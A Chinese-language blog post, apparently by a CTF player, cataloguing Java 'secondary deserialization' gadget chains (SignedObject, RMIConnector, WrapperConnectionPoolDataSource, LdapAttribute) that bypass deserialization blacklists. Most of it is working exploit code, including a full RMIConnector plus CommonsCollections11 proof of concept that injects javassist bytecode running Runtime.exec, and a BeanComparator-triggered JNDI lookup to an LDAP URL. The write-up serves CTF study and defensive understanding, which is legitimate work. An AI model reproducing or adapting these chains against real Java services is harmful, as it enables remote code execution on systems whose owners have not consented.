二次反序列化总结
1diot9 Lv4

前言

这里收集一些经常会用到的Java二次反序列化链。

SignedObject

getter–>readObject

这个是老生常谈了,位于java.security包下。最先是在hessian反序列化里遇到,现在已经很熟悉了。通过getter方法触发,调用内部对象的readObject方法,从而绕过程序自定义的resolveClass的过滤逻辑。

下面展示payload:

1
2
3
4
5
6
7
8
9
10
11
12
//固定写法,初始化SignedObject
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");

SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);

JSONArray array = new JSONArray();
array.add(signedObject);

触发getter方法就行,这里用的是fastjson的toString反序列化

如果用CB链去触发getter的话,要这样写:

1
2
3
4
5
6
7
8
9
10
11
//固定写法,初始化SignedObject
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");

SignedObject signedObject = new SignedObject(priorityQueue, privateKey, signingEngine);

BeanComparator<Object> comparator = new BeanComparator("object");

RMIConnector

connect–>readObject

这个类在JNDI攻击的时候也可以用,具体可以看AliyunCTF2023的ezbean。

不过这里我们来看他的二次反序列化。

触发点(sink)在这里:

img

这里对我们传入的base64字符进行readObject操作。

往上找谁调用了这个类,找到:

img

我们要调用findRMIServer#findRMIServerJRMP就需要满足开头为/stub/,然后在/stub/后面拼接上base64字符。然后这个path又是由参数里的directoryURL决定的,这里还不可控,继续网上找,找到connect方法:

img

这里就可以通过反射修改rimServer的值为null,从而进入我们需要的方法,并且上面提到的参数值也可以通过反射控制。

现在的目标就是调用connect方法,这个可以看具体题目。

下面结合CC11给出payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class RmiConnectorPOC1 {
public static void main(String[] args)throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
RmipayloadGenerator rmipayloadGenerator=new RmipayloadGenerator();
setFieldValue(jmxServiceURL,"urlPath","/stub/"+rmipayloadGenerator.getbase64CC11payload());
RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
InvokerTransformer transformer = new InvokerTransformer("toString",
new Class[0], new Object[0]);
HashMap<String, String> innerMap = new HashMap<>();
Map<Object,Object> m = LazyMap.decorate(innerMap, transformer);
HashMap outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m,rmiConnector);
outerMap.put(tied, "t");
innerMap.clear();
setFieldValue(transformer, "iMethodName", "connect");
unSerial(outerMap);

}

private static ByteArrayOutputStream unSerial(Object o) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(o);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class RmipayloadGenerator {
public static String getbase64CC11payload()throws Exception{
//javassist写恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

//CC11攻击流程
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "t");
InvokerTransformer transformer = new InvokerTransformer("toString",
new Class[0], new Object[0]);
HashMap<String, String> innerMap = new HashMap<>();
Map<Object,Object> m = LazyMap.decorate(innerMap, transformer);
HashMap outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m, templates);
outerMap.put(tied, "t");
innerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");

//base64转字符输出
ByteArrayOutputStream aos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(aos);
oos.writeObject(outerMap);
oos.flush();
oos.close();
return Base64Encode(aos);
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
private static String Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
// System.out.println(s);
// System.out.println(s.length());
return s;
}

}

WrapperConnectionPoolDataSource

setter–>readObject

这个需要fastjson或jackson依赖,因为要用到set方法

这个是c3p0链里面用到的一个类,也是进行二次反序列化的。

当时还不是特别理解,现在再来写一遍。

首先我们需要知道的是,这个类里面存在一个PropertyListener,并且它在这个类调用构造方法进行初始化的时候就会被init,如下图:

img

PropertyListener,顾名思义,属性监听器,也就是说,当任何属性发生变化时,都会先经过一遍setUpPropertyListeners方法。这点很重要。

接下来,我们看看这个setUpPropertyListeners方法里发生了什么:

img

这里直接看触发点了。如果我们修改的属性值equals,“userOverridesAsString”,那么我们就会进入这个else,然后调用C3P0ImplUtils.parseUserOverridesAsString( (String) val ),这个val就是我们修改属性时设置的值。

我们跟进这个方法看一下:

img

这里面会取出hex十六进制字符进行反序列化,而取出的规则是HASM_HEADER后开始到倒数第二个字符。这里的HASM_HEADER是HexAsciiSerializedMap,所以我们的反序列化数据要以这个开头,并在最后随便加一个字符,这里我们规定加一个分号。

后面跟进fromByteArray,deserializeFromByteArray,就能看到最后是一个原生反序列化:

img

回到开始,我们是调用userOverridesAsString的set方法才触发了链子。所以这里要结合fastjson或者jackson才行。

fastjson会在反序列化的时候先新建一个WrapperConnectionPoolDataSource,然后再set。

img

LdapAttribute

来源于RWCTF,实现的效果是getter–>JNDI,最终的sink还是JNDI

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class Test01 {

public static void main(String[] args) throws Exception {

String ldapCtxUrl = "ldap://127.0.0.1:50388/";
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
new Class[] {String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
new Object[] {"any"});
Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
baseCtxUrlField.setAccessible(true);
baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
rdnField.setAccessible(true);
rdnField.set(ldapAttribute, new CompositeName("a//b"));

BeanComparator<Object> beanComparator = new BeanComparator<>();
setField(beanComparator, "property", "attributeDefinition");
beanComparator.compare(ldapAttribute, ldapAttribute);


}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

}

具体原理可以看参考文章中,4ra1n许少师傅的分析。

总结

常见的二次反序列化好像就这四种,以后遇到新的再来补充。另外,很多链子最先都在CTF里出现,所以打完比赛一定要复盘,看看有没有新的知识。

参考

Java二次反序列化学习 | stoocea’s blog

使用JDK类绕过TemplatesImpl黑名单

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 84k 访客数 访问量